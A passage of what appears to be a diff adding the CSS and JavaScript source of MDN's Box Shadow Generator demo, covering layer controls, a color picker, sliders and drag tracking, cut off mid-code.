+ display: none; +} + +.ui-checkbox > label { + font-size: 12px; + padding: 0.333em 1.666em 0.5em; + height: 1em; + line-height: 1em; + + background-color: #888; + background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); + background-position: center center; + background-repeat: no-repeat; + + color: #FFF; + border-radius: 3px; + font-weight: bold; + float: left; +} + +.ui-checkbox .text { + padding-left: 34px; + background-position: center left 10px; +} + +.ui-checkbox .left { + padding-right: 34px; + padding-left: 1.666em; + background-position: center right 10px; +} + +.ui-checkbox > label:hover { + cursor: pointer; +} + +.ui-checkbox > input:checked + label { + background-image: url("https://mdn.mozillademos.org/files/5681/checked.png"); + background-color: #379B4A; +} + +/* + * BOX SHADOW GENERATOR TOOL + */ + +body { + max-width: 1000px; + height: 800px; + margin: 20px auto 0; + + font-family: "Segoe UI", Arial, Helvetica, sans-serif; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + + -moz-user-select: none; + -webkit-user-select: none; + -ms-user-select: none; +} + +#container { + width: 100%; + padding: 2px; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + + +/* container with shadows stacks */ +#stack_container { + height: 400px; + overflow: hidden; + position: relative; + border: 1px solid #CCC; + border-radius: 3px; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +#stack_container .container { + height: 100%; + width: 100%; + position: absolute; + left: 100%; + transition-property: left; + transition-duration: 0.5s; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + + +#stack_container .title { + text-align: center; + font-weight: bold; + line-height: 2em; + border-bottom: 1px solid #43A6E1; + color: #666; +} + + +/* + * Stack of Layers for shadow + */ + +#layer_manager { + width: 17%; + background-color: #FEFEFE; + margin: 0 1% 0 0; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + float: left; +} + + +#layer_manager .button { + width: 30%; + height: 25px; + margin:0 0 10px; + color: #333; + background-color: #EEE; + text-align: center; + font-size: 0.75em; + line-height: 1.5em; + border: 1px solid #CCC; + border-radius: 3px; + + display: block; + background-position: center center; + background-repeat: no-repeat; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + float: left; +} + +#layer_manager .button:hover { + background-color: #3380C4; + border: 1px solid #3380C4; + cursor: pointer; +} + +#layer_manager [data-type='add'] { + background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png"); +} + +#layer_manager [data-type='add']:hover { + background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png"); +} + +#layer_manager [data-type='move-up'] { + background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png"); + margin-left: 5%; + margin-right: 5%; +} + +#layer_manager [data-type='move-up']:hover { + background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png"); +} + +#layer_manager [data-type='move-down'] { + background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png"); +} + +#layer_manager [data-type='move-down']:hover { + background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png"); +} + +/* shadows classes */ + +#layer_manager .node { + width: 100%; + margin: 5px 0; + padding: 5px; + text-align: center; + background-color: #EEE; + border: 1px solid #DDD; + font-size: 0.75em; + line-height: 1.5em; + color: #333; + border-radius: 3px; + + position: relative; + display: block; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +#layer_manager .node:hover { + color: #FFF; + background-color: #3380C4; + cursor: pointer; +} + +/* active element styling */ + +#layer_manager [data-active='layer'] { + color: #FFF; + border: none; + background-color: #379B4A; +} + +#layer_manager [data-active='subject'] { + color: #FFF; + background-color: #467FC9; +} + +/* delete button */ + +#layer_manager .delete { + width: 1.5em; + height: 100%; + float: right; + border-radius: 3px; + background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png"); + background-position: center center; + background-repeat: no-repeat; + position: absolute; + top: 0; + right: 10px; + display: none; +} + +#layer_manager .delete:hover { + background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png"); +} + +#layer_manager .node:hover .delete { + display: block; +} + + +#layer_manager .stack { + padding: 0 5px; + max-height: 90%; + overflow: auto; + overflow-x: hidden; +} + + +/* + * Layer Menu + */ + +#layer_menu { + margin: 0 0 10px 0; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +#layer_menu .button { + width: 100px; + margin: 0 5px 0 0; + padding: 2.5px; + color: #333; + background-color: #EEE; + border: 1px solid #CCC; + border-radius: 3px; + text-align: center; + font-size: 0.75em; + line-height: 1.5em; + + position: relative; + display: block; + float: left; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +#layer_menu .button:hover { + color: #FFF; + background-color: #3380C4; + border: 1px solid #3380C4; + cursor: pointer; +} + +#layer_menu .delete { + width: 1.5em; + height: 100%; + float: right; + border-radius: 3px; + background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png"); + background-position: center center; + background-repeat: no-repeat; + position: absolute; + top: 0; + right: 5px; + display: none; +} + +#layer_menu .delete:hover { + background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png"); +} + +#layer_menu .button:hover .delete { + display: block; +} + + +/* + * active element styling + */ + +#layer_menu [data-active='subject'] { + color: #FFF; + background-color: #379B4A; + border: 1px solid #379B4A; +} + + +/* Checkbox */ + +#layer_menu .ui-checkbox > label { + height: 15px; + line-height: 17px; + font-weight: normal; + width: 46px; + margin: 0 5px 0 0; +} + +#layer_menu .ui-checkbox > input:checked + label { + display: none; +} + + +/******************************************************************************/ +/******************************************************************************/ +/* + * Preview Area + */ + +#preview_zone { + width: 82%; + float: left; + +} + + +#preview { + width: 100%; + height: 400px; + border: 1px solid #CCC; + border-radius: 3px; + text-align: center; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + cursor: move; + float: left; +} + +#preview .content { + width: 100%; + height: 100%; + display: block; +} + +#obj-element { + width: 300px; + height: 100px; + border: 1px solid #CCC; + background: #FFF; + position: relative; +} + + +#obj-before { + height: 100%; + width: 100%; + background: #999; + border: 1px solid #CCC; + text-align: left; + display : block; + position: absolute; + z-index: -1; +} + +#obj-after { + height: 100%; + width: 100%; + background: #DDD; + border: 1px solid #CCC; + text-align: right; + display : block; + position: absolute; + z-index: -1; +} + + +/******************************************************************************/ +/******************************************************************************/ + +/** + * Controls + */ + +.wrap-left { + float: left; + overflow: hidden; +} + +.wrap-right { + float: right; + overflow: hidden; +} + +.wrap-left > * { + float: left; +} + +.wrap-right > * { + float: right; +} + +@media (min-width: 960px) { + + .wrap-left { + width: 45%; + } + + .wrap-right { + width: 55%; + } +} + + +@media (max-width: 959px) { + + .wrap-left { + width: 30%; + } + + .wrap-right { + width: 70%; + } +} + + +#controls { + color: #444; + margin: 10px 0 0 0; +} + + +#controls .category { + width: 500px; + margin: 0 auto 20px; + padding: 0; + +} + +#controls .category .title { + width: 100%; + height: 1.5em; + line-height: 1.5em; + color: #AAA; + text-align: right; +} + +#controls .category > .group { + border: 1px solid #CCC; + border-radius: 3px; +} + + +/** + * Color Picker + */ + +@media (min-width: 960px) { + #controls .colorpicker { + width: 420px; + } +} + +@media (max-width: 959px) { + #controls .colorpicker { + width: 210px; + } +} + +#colorpicker { + width: 100%; + margin: 0 auto; +} + +#colorpicker .gradient { + width: 200px; + height: 200px; + margin: 5px; + background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png"); + background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), + -moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); + background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), + -webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); + background-color: #F00; + float: left; +} + +#colorpicker .hue { + width: 200px; + height: 30px; + margin: 5px; + background: url("https://mdn.mozillademos.org/files/5701/hue.png"); + background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%, + #00F 66.66%, #F0F 83.33%, #F00 100%); + background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%, + #00F 66.66%, #F0F 83.33%, #F00 100%); + float: left; +} + +#colorpicker .alpha { + width: 200px; + height: 30px; + margin: 5px; + border: 1px solid #CCC; + float: left; + background: url("https://mdn.mozillademos.org/files/5705/alpha.png"); + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +#colorpicker #alpha { + width: 100%; + height: 100%; + background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png"); + background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%); +} + +#colorpicker #gradient_picker { + width: 0.5em; + height: 0.5em; + border-radius: 0.4em; + border: 2px solid #CCC; + position: relative; + top: 20%; + left: 20%; +} + +#colorpicker #hue_selector, +#colorpicker #alpha_selector { + width: 3px; + height: 100%; + border: 1px solid #777; + background-color: #FFF; + position: relative; + top: -1px; + left: 0%; +} + +/* input HSV and RGB */ +#colorpicker .info { + width: 200px; + margin: 5px; + float: left; +} + +#colorpicker .info * { + float: left; +} + +#colorpicker .info input { + margin: 0; + text-align: center; + width: 30px; + -moz-user-select: text; + -webkit-user-select: text; + -ms-user-select: text; +} + +#colorpicker .info span { + height: 20px; + width: 30px; + text-align: center; + line-height: 20px; + display: block; +} + +/* Preview color */ +#colorpicker .block { + width: 95px; + height: 54px; + float: left; + position: relative; +} + +#colorpicker .preview { + margin: 5px; + border: 1px solid #CCC; + background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png"); + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +#colorpicker .preview:before { + height: 100%; + width: 50%; + left: 50%; + content: ""; + background: #FFF; + position: absolute; + z-index: 1; +} + +#colorpicker .preview > * { + width: 50%; + height: 100%; +} + +#colorpicker #output_color { + width: 100%; + height: 100%; + position: absolute; + z-index: 2; +} + +#colorpicker .block .input { + float: right; +} + +#colorpicker [data-topic="a"] > span { + width: 50px; +} + +#colorpicker [data-topic="hexa"] { + float: right; + margin: 10px 0 0 0; +} + +#colorpicker [data-topic="hexa"] > span { + display: none; +} + +#colorpicker [data-topic="hexa"] > input { + width: 85px; + padding: 2px 0; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + + +/* + * UI Components + */ + +/* Property */ + +.property { + height: 20px; + margin: 10px 0; +} + +.property * { + float: left; + height: 100%; + line-height: 100%; +} + +/* Slider */ + +#controls .ui-slider-name { + margin: 0 10px 0 0; +} + +/* + * Output code styling + */ + +#output { + position: relative; +} + +#output .menu { + max-width: 70%; + height: 20px; + position: absolute; + top: 2px; +} + +#output .button { + width: 90px; + height: 22px; + margin: 0 5px 0 0; + text-align: center; + line-height: 20px; + font-size: 14px; + color: #FFF; + background-color: #999; + border-top-left-radius: 3px; + border-top-right-radius: 3px; + bottom: -5px; + float:left; +} + +#output .button:hover { + color: #FFF; + background-color: #666; + cursor: pointer; +} + +#output .menu [data-active="true"] { + color: #777; + background-color: #FFF; + border: 1px solid #CCC; + border-bottom: none; +} + +#output .menu [data-topic="before"] { + left: 100px; +} + +#output .menu [data-topic="after"] { + left: 200px; +} + +#output .output { + width: 480px; + margin: 10px; + padding: 10px; + overflow: hidden; + color: #555; + font-size: 14px; + border: 1px dashed #CCC; + border-radius: 3px; + display: none; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + + -moz-user-select: text; + -webkit-user-select: text; + -ms-user-select: text; +} + +#output .css-property { + width: 100%; + float: left; + white-space: pre; +} + +#output .name { + width: 35%; + float: left; +} + +#output .value { + width: 65%; + float: left; +} + +</pre> + +<h3 id="JavaScript_Content">JavaScript Content</h3> + +<pre class="brush: js"><code class="language-js"> + +'use strict'; + +/** + * UI-SlidersManager + */ + +var SliderManager = (function SliderManager() { + + var subscribers = {}; + var sliders = []; + + var Slider = function(node) { + var min = node.getAttribute('data-min') | 0; + var max = node.getAttribute('data-max') | 0; + var step = node.getAttribute('data-step') | 0; + var value = node.getAttribute('data-value') | 0; + var snap = node.getAttribute('data-snap'); + var topic = node.getAttribute('data-topic'); + + this.min = min; + this.max = max > 0 ? max : 100; + this.step = step === 0 ? 1 : step; + this.value = value <= max && value >= min ? value : (min + max) / 2 | 0; + this.snap = snap === "true" ? true : false; + this.topic = topic; + this.node = node; + + var pointer = document.createElement('div'); + pointer.className = 'ui-slider-pointer'; + node.appendChild(pointer); + this.pointer = pointer; + + setMouseTracking(node, updateSlider.bind(this)); + + sliders[topic] = this; + setValue(topic, this.value); + } + + var setButtonComponent = function setButtonComponent(node) { + var type = node.getAttribute('data-type'); + var topic = node.getAttribute('data-topic'); + if (type === "sub") { + node.textContent = '-'; + node.addEventListener("click", function() { + decrement(topic); + }); + } + if (type === "add") { + node.textContent = '+'; + node.addEventListener("click", function() { + increment(topic); + }); + } + } + + var setInputComponent = function setInputComponent(node) { + var topic = node.getAttribute('data-topic'); + var unit_type = node.getAttribute('data-unit'); + + var input = document.createElement('input'); + var unit = document.createElement('span'); + unit.textContent = unit_type; + + input.setAttribute('type', 'text'); + node.appendChild(input); + node.appendChild(unit); + + input.addEventListener('click', function(e) { + this.select(); + }); + + input.addEventListener('change', function(e) { + setValue(topic, e.target.value | 0); + }); + + subscribe(topic, function(value) { + node.children[0].value = value; + }); + } + + var increment = function increment(topic) { + var slider = sliders[topic]; + if (slider === null || slider === undefined) + return; + + if (slider.value + slider.step <= slider.max) { + slider.value += slider.step; + setValue(slider.topic, slider.value) + notify.call(slider); + } + }; + + var decrement = function decrement(topic) { + var slider = sliders[topic]; + if (slider === null || slider === undefined) + return; + + if (slider.value - slider.step >= slider.min) { + slider.value -= slider.step; + setValue(topic, slider.value) + notify.call(slider); + } + } + + // this = Slider object + var updateSlider = function updateSlider(e) { + var node = this.node; + var pos = e.pageX - node.offsetLeft; + var width = node.clientWidth; + var delta = this.max - this.min; + var offset = this.pointer.clientWidth + 4; // border width * 2 + + if (pos < 0) pos = 0; + if (pos > width) pos = width; + + var value = pos * delta / width | 0; + var precision = value % this.step; + value = value - precision + this.min; + if (precision > this.step / 2) + value = value + this.step; + + if (this.snap) + pos = (value - this.min) * width / delta; + + this.pointer.style.left = pos - offset/2 + "px"; + this.value = value; + node.setAttribute('data-value', value); + notify.call(this); + } + + var setValue = function setValue(topic, value) { + var slider = sliders[topic]; + + if (value > slider.max || value < slider.min) + return; + + var delta = slider.max - slider.min; + var width = slider.node.clientWidth; + var offset = slider.pointer.clientWidth; + var pos = (value - slider.min) * width / delta; + slider.value = value; + slider.pointer.style.left = pos - offset / 2 + "px"; + slider.node.setAttribute('data-value', value); + notify.call(slider); + } + + var setMouseTracking = function setMouseTracking(elem, callback) { + elem.addEventListener("mousedown", function(e) { + callback(e); + document.addEventListener("mousemove", callback); + }); + + document.addEventListener("mouseup", function(e) { + document.removeEventListener("mousemove", callback); + }); + } + + var subscribe = function subscribe(topic, callback) { + if (subscribers[topic] === undefined) + subscribers[topic] = []; + subscribers[topic].push(callback); + } + + var unsubscribe = function unsubscribe(topic, callback) { + subscribers[topic].indexOf(callback); + subscribers[topic].splice(index, 1); + } + + var notify = function notify() { + if (subscribers[this.topic] === undefined) + return; + + for (var i in subscribers[this.topic]) { + subscribers[this.topic][i](this.value); + } + } + + var init = function init() { + var elem, size; + + elem = document.querySelectorAll('.ui-slider-btn-set'); + size = elem.length; + for (var i = 0; i < size; i++) + setButtonComponent(elem[i]); + + elem = document.querySelectorAll('.ui-slider-input'); + size = elem.length; + for (var i = 0; i < size; i++) + setInputComponent(elem[i]); + + elem = document.querySelectorAll('.ui-slider'); + size = elem.length; + for (var i = 0; i < size; i++) + new Slider(elem[i]); + } + + return { + init : init, + setValue : setValue, + subscribe : subscribe, + unsubscribe : unsubscribe + } + +})(); + +/** + * UI-ButtonManager + */ + +var ButtonManager = (function CheckBoxManager() { + + var subscribers = []; + var buttons = []; + + var CheckBox = function CheckBox(node) { + var topic = node.getAttribute('data-topic'); + var state = node.getAttribute('data-state'); + var name = node.getAttribute('data-label'); + var align = node.getAttribute('data-text-on'); + + state = (state === "true"); + + var checkbox = document.createElement("input"); + var label = document.createElement("label"); + + var id = 'checkbox-' + topic; + checkbox.id = id; + checkbox.setAttribute('type', 'checkbox'); + checkbox.checked = state; + + label.setAttribute('for', id); + if (name) { + label.className = 'text'; + if (align) + label.className += ' ' + align; + label.textContent = name; + } + + node.appendChild(checkbox); + node.appendChild(label); + + this.node = node; + this.topic = topic; + this.checkbox = checkbox; + + checkbox.addEventListener('change', function(e) { + notify.call(this); + }.bind(this)); + + buttons[topic] = this; + } + + var getNode = function getNode(topic) { + return buttons[topic].node; + } + + var setValue = function setValue(topic, value) { + try { + buttons[topic].checkbox.checked = value; + notify.call(buttons[topic]); + } + catch(error) { + console.log(error, topic, value); + } + } + + var subscribe = function subscribe(topic, callback) { + if (subscribers[topic] === undefined) + subscribers[topic] = []; + + subscribers[topic].push(callback); + } + + var unsubscribe = function unsubscribe(topic, callback) { + subscribers[topic].indexOf(callback); + subscribers[topic].splice(index, 1); + } + + var notify = function notify() { + if (subscribers[this.topic] === undefined) + return; + for (var i = 0; i < subscribers[this.topic].length; i++) + subscribers[this.topic][i](this.checkbox.checked); + } + + var init = function init() { + var elem = document.querySelectorAll('.ui-checkbox'); + var size = elem.length; + for (var i = 0; i < size; i++) + new CheckBox(elem[i]); + } + + return { + init : init, + setValue : setValue, + subscribe : subscribe, + unsubscribe : unsubscribe + } + +})(); + + +window.addEventListener("load", function(){ + BoxShadow.init(); +}); + +var BoxShadow = (function BoxShadow() { + + function getElemById(id) { + return document.getElementById(id); + } + + /** + * RGBA Color class + */ + + function Color() { + this.r = 0; + this.g = 0; + this.b = 0; + this.a = 1; + this.hue = 0; + this.saturation = 0; + this.value = 0; + } + + Color.prototype.copy = function copy(obj) { + if(obj instanceof Color !== true) { + console.log("Typeof instance not Color"); + return; + } + + this.r = obj.r; + this.g = obj.g; + this.b = obj.b; + this.a = obj.a; + this.hue = obj.hue; + this.saturation = obj.saturation; + this.value = obj.value; + } + + Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) { + if (red != undefined) + this.r = red | 0; + if (green != undefined) + this.g = green | 0; + if (blue != undefined) + this.b = blue | 0; + if (alpha != undefined) + this.a = alpha | 0; + } + + /** + * HSV/HSB (hue, saturation, value / brightness) + * @param hue 0-360 + * @param saturation 0-100 + * @param value 0-100 + */ + Color.prototype.setHSV = function setHSV(hue, saturation, value) { + this.hue = hue; + this.saturation = saturation; + this.value = value; + this.updateRGB(); + } + + Color.prototype.updateRGB = function updateRGB() { + var sat = this.saturation / 100; + var value = this.value / 100; + var C = sat * value; + var H = this.hue / 60; + var X = C * (1 - Math.abs(H % 2 - 1)); + var m = value - C; + var precision = 255; + + C = (C + m) * precision; + X = (X + m) * precision; + m = m * precision; + + if (H >= 0 && H < 1) { this.setRGBA(C, X, m); return; } + if (H >= 1 && H < 2) { this.setRGBA(X, C, m); return; } + if (H >= 2 && H < 3) { this.setRGBA(m, C, X); return; } + if (H >= 3 && H < 4) { this.setRGBA(m, X, C); return; } + if (H >= 4 && H < 5) { this.setRGBA(X, m, C); return; } + if (H >= 5 && H < 6) { this.setRGBA(C, m, X); return; } + } + + Color.prototype.updateHSV = function updateHSV() { + var red = this.r / 255; + var green = this.g / 255; + var blue = this.b / 255; + + var cmax = Math.max(red, green, blue); + var cmin = Math.min(red, green, blue); + var delta = cmax - cmin; + var hue = 0; + var saturation = 0; + + if (delta) { + if (cmax === red ) { hue = ((green - blue) / delta); } + if (cmax === green ) { hue = 2 + (blue - red) / delta; } + if (cmax === blue ) { hue = 4 + (red - green) / delta; } + if (cmax) saturation = delta / cmax; + } + + this.hue = 60 * hue | 0; + if (this.hue < 0) this.hue += 360; + this.saturation = (saturation * 100) | 0; + this.value = (cmax * 100) | 0; + } + + Color.prototype.setHexa = function setHexa(value) { + var valid = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value) + if (valid !== true) + return; + + if (value[0] === '#') + value = value.slice(1, value.length); + + if (value.length === 3) + value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3"); + + this.r = parseInt(value.substr(0, 2), 16); + this.g = parseInt(value.substr(2, 2), 16); + this.b = parseInt(value.substr(4, 2), 16); + + this.alpha = 1; + } + + Color.prototype.getHexa = function getHexa() { + var r = this.r.toString(16); + var g = this.g.toString(16); + var b = this.b.toString(16); + if (this.r < 16) r = '0' + r; + if (this.g < 16) g = '0' + g; + if (this.b < 16) b = '0' + b; + var value = '#' + r + g + b; + return value.toUpperCase(); + } + + Color.prototype.getRGBA = function getRGBA() { + + var rgb = "(" + this.r + ", " + this.g + ", " + this.b; + var a = ''; + var v = ''; + if (this.a !== 1) { + a = 'a'; + v = ', ' + this.a; + } + + var value = "rgb" + a + rgb + v + ")"; + return value; + } + + Color.prototype.getColor = function getColor() { + if (this.a | 0 === 1) + return this.getHexa(); + return this.getRGBA(); + } + + /** + * Shadow Object + */ + function Shadow() { + this.inset = false; + this.posX = 5; + this.posY = -5; + this.blur = 5; + this.spread = 0; + this.color = new Color(); + + var hue = (Math.random() * 360) | 0; + var saturation = (Math.random() * 75) | 0; + var value = (Math.random() * 50 + 50) | 0; + this.color.setHSV(hue, saturation, value, 1); + } + + Shadow.prototype.computeCSS = function computeCSS() { + var value = ""; + if (this.inset === true) + value += "inset "; + value += this.posX + "px "; + value += this.posY + "px "; + value += this.blur + "px "; + value += this.spread + "px "; + value += this.color.getColor(); + + return value; + } + + Shadow.prototype.toggleInset = function toggleInset(value) { + if (value !== undefined || typeof value === "boolean") + this.inset = value; + else + this.inset = this.inset === true ? false : true; + } + + Shadow.prototype.copy = function copy(obj) { + if(obj instanceof Shadow !== true) { + console.log("Typeof instance not Shadow"); + return; + } + + this.inset = obj.inset; + this.posX = obj.posX; + this.posY = obj.posY; + this.blur = obj.blur; + this.spread = obj.spread; + this.color.copy(obj.color); + } + + /** + * Color Picker + */ + var ColoPicker = (function ColoPicker() { + + var colorpicker; + var hue_area; + var gradient_area; + var alpha_area; + var gradient_picker; + var hue_selector; + var alpha_selector; + var pick_object; + var info_rgb; + var info_hsv; + var info_hexa; + var output_color; + var color = new Color(); + var subscribers = []; + + var updateColor = function updateColor(e) { + var x = e.pageX - gradient_area.offsetLeft; + var y = e.pageY - gradient_area.offsetTop; + + // width and height should be the same + var size = gradient_area.clientWidth; + + if (x > size) + x = size; + if (y > size) + y = size; + + if (x < 0) x = 0; + if (y < 0) y = 0; + + var value = 100 - (y * 100 / size) | 0; + var saturation = x * 100 / size | 0; + + color.setHSV(color.hue, saturation, value); + // should update just + // color pointer location + updateUI(); + notify("color", color); + } + + var updateHue = function updateHue(e) { + var x = e.pageX - hue_area.offsetLeft; + var width = hue_area.clientWidth; + + if (x < 0) x = 0; + if (x > width) x = width; + + var hue = ((360 * x) / width) | 0; + if (hue === 360) hue = 359; + + color.setHSV(hue, color.saturation, color.value); + + // should update just + // hue pointer location + // picker area background + // alpha area background + updateUI(); + notify("color", color); + } + + var updateAlpha = function updateAlpha(e) { + var x = e.pageX - alpha_area.offsetLeft; + var width = alpha_area.clientWidth; + + if (x < 0) x = 0; + if (x > width) x = width; + + color.a = (x / width).toFixed(2); + + // should update just + // alpha pointer location + updateUI(); + notify("color", color); + } + + var setHueGfx = function setHueGfx(hue) { + var sat = color.saturation; + var val = color.value; + var alpha = color.a; + + color.setHSV(hue, 100, 100); + gradient_area.style.backgroundColor = color.getHexa(); + + color.a = 0; + var start = color.getRGBA(); + color.a = 1; + var end = color.getRGBA(); + color.a = alpha; + + var gradient = '-moz-linear-gradient(left, ' + start + '0%, ' + end + ' 100%)'; + alpha_area.style.background = gradient; + } + + var updateUI = function updateUI() { + var x, y; // coordinates + var size; // size of the area + var offset; // pointer graphic selector offset + + // Set color pointer location + size = gradient_area.clientWidth; + offset = gradient_picker.clientWidth / 2 + 2; + + x = (color.saturation * size / 100) | 0; + y = size - (color.value * size / 100) | 0; + + gradient_picker.style.left = x - offset + "px"; + gradient_picker.style.top = y - offset + "px"; + + // Set hue pointer location + size = hue_area.clientWidth; + offset = hue_selector.clientWidth/2; + x = (color.hue * size / 360 ) | 0; + hue_selector.style.left = x - offset + "px"; + + // Set alpha pointer location + size = alpha_area.clientWidth; + offset = alpha_selector.clientWidth/2; + x = (color.a * size) | 0; + alpha_selector.style.left = x - offset + "px"; + + // Set picker area background + var nc = new Color(); + nc.copy(color); + if (nc.hue === 360) nc.hue = 0; + nc.setHSV(nc.hue, 100, 100); + gradient_area.style.backgroundColor = nc.getHexa(); + + // Set alpha area background + nc.copy(color); + nc.a = 0; + var start = nc.getRGBA(); + nc.a = 1; + var end = nc.getRGBA(); + var gradient = '-moz-linear-gradient(left, ' + start + '0%, ' + end + ' 100%)'; + alpha_area.style.background = gradient; + + // Update color info + notify("color", color); + notify("hue", color.hue); + notify("saturation", color.saturation); + notify("value", color.value); + notify("r", color.r); + notify("g", color.g); + notify("b", color.b); + notify("a", color.a); + notify("hexa", color.getHexa()); + output_color.style.backgroundColor = color.getRGBA(); + } + + var setInputComponent = function setInputComponent(node) { + var topic = node.getAttribute('data-topic'); + var title = node.getAttribute('data-title'); + var action = node.getAttribute('data-action'); + title = title === null ? '' : title; + + var input = document.createElement('input'); + var info = document.createElement('span'); + info.textContent = title; + + input.setAttribute('type', 'text'); + input.setAttribute('data-action', 'set-' + action + '-' + topic); + node.appendChild(info); + node.appendChild(input); + + input.addEventListener('click', function(e) { + this.select(); + }); + + input.addEventListener('change', function(e) { + if (action === 'HSV') + inputChangeHSV(topic); + if (action === 'RGB') + inputChangeRGB(topic); + if (action === 'alpha') + inputChangeAlpha(topic); + if (action === 'hexa') + inputChangeHexa(topic); + }); + + subscribe(topic, function(value) { + node.children[1].value = value; + }); + } + + var inputChangeHSV = function actionHSV(topic) { + var selector = "[data-action='set-HSV-" + topic + "']"; + var node = document.querySelector("#colorpicker " + selector); + var value = parseInt(node.value); + + if (typeof value === 'number' && isNaN(value) === false && + value >= 0 && value < 360) + color[topic] = value; + + color.updateRGB(); + updateUI(); + } + + var inputChangeRGB = function inputChangeRGB(topic) { + var selector = "[data-action='set-RGB-" + topic + "']"; + var node = document.querySelector("#colorpicker " + selector); + var value = parseInt(node.value); + + if (typeof value === 'number' && isNaN(value) === false && + value >= 0 && value <= 255) + color[topic] = value; + + color.updateHSV(); + updateUI(); + } + + var inputChangeAlpha = function inputChangeAlpha(topic) { + var selector = "[data-action='set-alpha-" + topic + "']"; + var node = document.querySelector("#colorpicker " + selector); + var value = parseFloat(node.value); + + if (typeof value === 'number' && isNaN(value) === false && + value >= 0 && value <= 1) + color.a = value.toFixed(2); + + updateUI(); + } + + var inputChangeHexa = function inputChangeHexa(topic) { + var selector = "[data-action='set-hexa-" + topic + "']"; + var node = document.querySelector("#colorpicker " + selector); + var value = node.value; + color.setHexa(value); + color.updateHSV(); + updateUI(); + } + + var setMouseTracking = function setMouseTracking(elem, callback) { + + elem.addEventListener("mousedown", function(e) { + callback(e); + document.addEventListener("mousemove", callback); + }); + + document.addEventListener("mouseup", function(e) { + document.removeEventListener("mousemove", callback); + }); + } + + /* + * Observer + */ + var setColor = function setColor(obj) { + if(obj instanceof Color !== true) { + console.log("Typeof instance not Color"); + return; + } + color.copy(obj); + updateUI(); + } + + var subscribe = function subscribe(topic, callback) { + if (subscribers[topic] === undefined) + subscribers[topic] = []; + + subscribers[topic].push(callback); + } + + var unsubscribe = function unsubscribe(callback) { + subscribers.indexOf(callback); + subscribers.splice(index, 1); + } + + var notify = function notify(topic, value) { + for (var i in subscribers[topic]) + subscribers[topic][i](value); + } + + var init = function init() { + colorpicker = getElemById("colorpicker"); + hue_area = getElemById("hue"); + gradient_area = getElemById("gradient"); + alpha_area = getElemById("alpha"); + gradient_picker = getElemById("gradient_picker"); + hue_selector = getElemById("hue_selector"); + alpha_selector = getElemById("alpha_selector"); + output_color = getElemById("output_color"); + + var elem = document.querySelectorAll('#colorpicker .input'); + var size = elem.length; + for (var i = 0; i < size; i++) + setInputComponent(elem[i]); + + setMouseTracking(gradient_area, updateColor); + setMouseTracking(hue_area, updateHue); + setMouseTracking(alpha_area, updateAlpha); + + } + + return { + init : init, + setColor : setColor, + subscribe : subscribe, + unsubscribe : unsubscribe + } + + })(); + + /** + * Shadow dragging + */ + var PreviewMouseTracking = (function Drag() { + var active = false; + var lastX = 0; + var lastY = 0; + var subscribers = []; + + var init = function init(id) { + var elem = getElemById(id); + elem.addEventListener('mousedown', dragStart, false); + document.addEventListener('mouseup', dragEnd, false); + } + + var dragStart = function dragStart(e) { + if (e.button !== 0) + return; + + active = true; + lastX = e.clientX; + lastY = e.clientY; + document.addEventListener('mousemove', mouseDrag, false); + } + + var dragEnd = function dragEnd(e) { + if (e.button !== 0) + return; + + if (active === true) { + active = false; + document.removeEventListener('mousemove', mouseDrag, false); + } + } + + var mouseDrag = function mouseDrag(e) { + notify(e.clientX - lastX, e.clientY - lastY); + lastX = e.clientX; + lastY = e.clientY; + } + + var subscribe = function subscribe(callback) { + subscribers.push(callback); + } + + var unsubscribe = function unsubscribe(callback) { + var index = subscribers.indexOf(callback); + subscribers.splice(index, 1); + } + + var notify = function notify(deltaX, deltaY) { + for (var i in subscribers) + subscribers[i](deltaX, deltaY); + } + + return { + init : init, + subscribe : subscribe, + unsubscribe : unsubscribe + } + + })(); + + /* + * Element Class + */ + var CssClass = function CssClass(id) { + this.left = 